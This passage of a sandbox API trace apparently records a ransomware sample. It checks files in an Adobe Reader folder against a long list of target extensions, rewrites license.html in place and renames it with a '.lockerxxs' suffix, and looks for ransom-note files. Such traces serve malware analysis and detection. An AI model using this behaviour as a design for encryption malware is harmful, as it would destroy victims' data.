10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.565] lstrlenA (lpString="*.xlsx") returned 6 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.xls") returned 0 [0069.565] lstrlenA (lpString="*.xls") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mp4") returned 0 [0069.566] lstrlenA (lpString="*.mp4") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.ppt") returned 0 [0069.566] lstrlenA (lpString="*.ppt") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.pptx") returned 0 [0069.566] lstrlenA (lpString="*.pptx") returned 6 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.doc") returned 0 [0069.566] lstrlenA (lpString="*.doc") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.dot") returned 0 [0069.566] lstrlenA (lpString="*.dot") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.docx") returned 0 [0069.566] lstrlenA (lpString="*.docx") returned 6 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.7z") returned 0 [0069.566] lstrlenA (lpString="*.7z") returned 4 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.tar") returned 0 [0069.566] lstrlenA (lpString="*.tar") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.bz2") returned 0 [0069.566] lstrlenA (lpString="*.bz2") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.gz") returned 0 [0069.566] lstrlenA (lpString="*.gz") returned 4 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mkv") returned 0 [0069.566] lstrlenA (lpString="*.mkv") returned 5 [0069.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.eml") returned 0 [0069.567] lstrlenA (lpString="*.eml") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.msg") returned 0 [0069.567] lstrlenA (lpString="*.msg") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.edb") returned 0 [0069.567] lstrlenA (lpString="*.edb") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.accdb") returned 0 [0069.567] lstrlenA (lpString="*.accdb") returned 7 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.odb") returned 0 [0069.567] lstrlenA (lpString="*.odb") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.java") returned 0 [0069.567] lstrlenA (lpString="*.java") returned 6 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.asm") returned 0 [0069.567] lstrlenA (lpString="*.asm") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.pfx") returned 0 [0069.567] lstrlenA (lpString="*.pfx") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.pem") returned 0 [0069.567] lstrlenA (lpString="*.pem") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.p12") returned 0 [0069.567] lstrlenA (lpString="*.p12") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.gpg") returned 0 [0069.567] lstrlenA (lpString="*.gpg") returned 5 [0069.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.vsd") returned 0 [0069.567] lstrlenA (lpString="*.vsd") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.odg") returned 0 [0069.568] lstrlenA (lpString="*.odg") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.raw") returned 0 [0069.568] lstrlenA (lpString="*.raw") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.nef") returned 0 [0069.568] lstrlenA (lpString="*.nef") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.svg") returned 0 [0069.568] lstrlenA (lpString="*.svg") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.psd") returned 0 [0069.568] lstrlenA (lpString="*.psd") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.vmx") returned 0 [0069.568] lstrlenA (lpString="*.vmx") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.568] lstrlenA (lpString="*.vmdk") returned 6 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.vdi") returned 0 [0069.568] lstrlenA (lpString="*.vdi") returned 5 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.lay6") returned 0 [0069.568] lstrlenA (lpString="*.lay6") returned 6 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.568] lstrlenA (lpString="*.mpeg") returned 6 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.djvu") returned 0 [0069.568] lstrlenA (lpString="*.djvu") returned 6 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.tiff") returned 0 [0069.568] lstrlenA (lpString="*.tiff") returned 6 [0069.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.backup") returned 0 [0069.569] lstrlenA (lpString="*.backup") returned 8 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.pdf") returned 0 [0069.569] lstrlenA (lpString="*.pdf") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.cert") returned 0 [0069.569] lstrlenA (lpString="*.cert") returned 6 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.docm") returned 0 [0069.569] lstrlenA (lpString="*.docm") returned 6 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.569] lstrlenA (lpString="*.xlsm") returned 6 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.dwg") returned 0 [0069.569] lstrlenA (lpString="*.dwg") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.nd") returned 0 [0069.569] lstrlenA (lpString="*.nd") returned 4 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.tlg") returned 0 [0069.569] lstrlenA (lpString="*.tlg") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.lgb") returned 0 [0069.569] lstrlenA (lpString="*.lgb") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mov") returned 0 [0069.569] lstrlenA (lpString="*.mov") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.xdw") returned 0 [0069.569] lstrlenA (lpString="*.xdw") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.ods") returned 0 [0069.569] lstrlenA (lpString="*.ods") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.wav") returned 0 [0069.569] lstrlenA (lpString="*.wav") returned 5 [0069.569] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mp3") returned 0 [0069.569] lstrlenA (lpString="*.mp3") returned 5 [0069.570] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.aiff") returned 0 [0069.570] lstrlenA (lpString="*.aiff") returned 6 [0069.570] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.flac") returned 0 [0069.570] lstrlenA (lpString="*.flac") returned 6 [0069.570] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.m4a") returned 0 [0069.570] lstrlenA (lpString="*.m4a") returned 5 [0069.570] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.csv") returned 0 [0069.570] lstrlenA (lpString="*.csv") returned 5 [0069.570] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.570] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.570] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.570] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.570] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.570] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini") returned="eula.ini" [0069.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" [0069.570] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="" [0069.570] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt" [0069.570] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\how to decrypt files.txt")) returned 0x20 [0069.571] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.ems") returned 0 [0069.571] lstrlenA (lpString="*.ems") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.db") returned 0 [0069.571] lstrlenA (lpString="*.db") returned 4 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.dbf") returned 0 [0069.571] lstrlenA (lpString="*.dbf") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.myox") returned 0 [0069.571] lstrlenA (lpString="*.myox") returned 6 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.myo") returned 0 [0069.571] lstrlenA (lpString="*.myo") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qbw") returned 0 [0069.571] lstrlenA (lpString="*.qbw") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qbb") returned 0 [0069.571] lstrlenA (lpString="*.qbb") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qbm") returned 0 [0069.571] lstrlenA (lpString="*.qbm") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qbo") returned 0 [0069.571] lstrlenA (lpString="*.qbo") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qbx") returned 0 [0069.571] lstrlenA (lpString="*.qbx") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qba") returned 0 [0069.571] lstrlenA (lpString="*.qba") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qby") returned 0 [0069.571] lstrlenA (lpString="*.qby") returned 5 [0069.571] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qbj") returned 0 [0069.572] lstrlenA (lpString="*.qbj") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.ofx") returned 0 [0069.572] lstrlenA (lpString="*.ofx") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.qif") returned 0 [0069.572] lstrlenA (lpString="*.qif") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.mye") returned 0 [0069.572] lstrlenA (lpString="*.mye") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.mbox") returned 0 [0069.572] lstrlenA (lpString="*.mbox") returned 6 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.eml") returned 0 [0069.572] lstrlenA (lpString="*.eml") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.pst") returned 0 [0069.572] lstrlenA (lpString="*.pst") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.ost") returned 0 [0069.572] lstrlenA (lpString="*.ost") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.idx") returned 0 [0069.572] lstrlenA (lpString="*.idx") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.dbx") returned 0 [0069.572] lstrlenA (lpString="*.dbx") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.sql") returned 0 [0069.572] lstrlenA (lpString="*.sql") returned 5 [0069.572] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.mdb") returned 0 [0069.572] lstrlenA (lpString="*.mdb") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.fdb") returned 0 [0069.573] lstrlenA (lpString="*.fdb") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.wab") returned 0 [0069.573] lstrlenA (lpString="*.wab") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.dat") returned 0 [0069.573] lstrlenA (lpString="*.dat") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.txt") returned 0 [0069.573] lstrlenA (lpString="*.txt") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.jpeg") returned 0 [0069.573] lstrlenA (lpString="*.jpeg") returned 6 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.jpg") returned 0 [0069.573] lstrlenA (lpString="*.jpg") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.png") returned 0 [0069.573] lstrlenA (lpString="*.png") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.php") returned 0 [0069.573] lstrlenA (lpString="*.php") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.cs") returned 0 [0069.573] lstrlenA (lpString="*.cs") returned 4 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.cpp") returned 0 [0069.573] lstrlenA (lpString="*.cpp") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.rar") returned 0 [0069.573] lstrlenA (lpString="*.rar") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.zip") returned 0 [0069.573] lstrlenA (lpString="*.zip") returned 5 [0069.573] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", pszSpec="*.html") returned 1 [0069.573] lstrlenA (lpString="*.html") returned 6 [0069.573] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" [0069.574] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" [0069.574] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html." [0069.574] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.lockerxxs" [0069.574] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.575] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x112b7 [0069.575] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81ce9900, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4)) returned 1 [0069.575] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.575] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x11291, lpOverlapped=0x0) returned 1 [0069.578] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html") returned="license.html" [0069.578] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.578] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11291, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11291, lpOverlapped=0x0) returned 1 [0069.579] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.579] CloseHandle (hObject=0x94) returned 1 [0069.591] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html.lockerxxs")) returned 1 [0069.592] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.592] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="DAN", cAlternateFileName="")) returned 1 [0069.592] lstrcmpA (lpString1=".", lpString2="DAN") returned -1 [0069.593] lstrcmpA (lpString1="..", lpString2="DAN") returned -1 [0069.593] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.593] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="DAN" 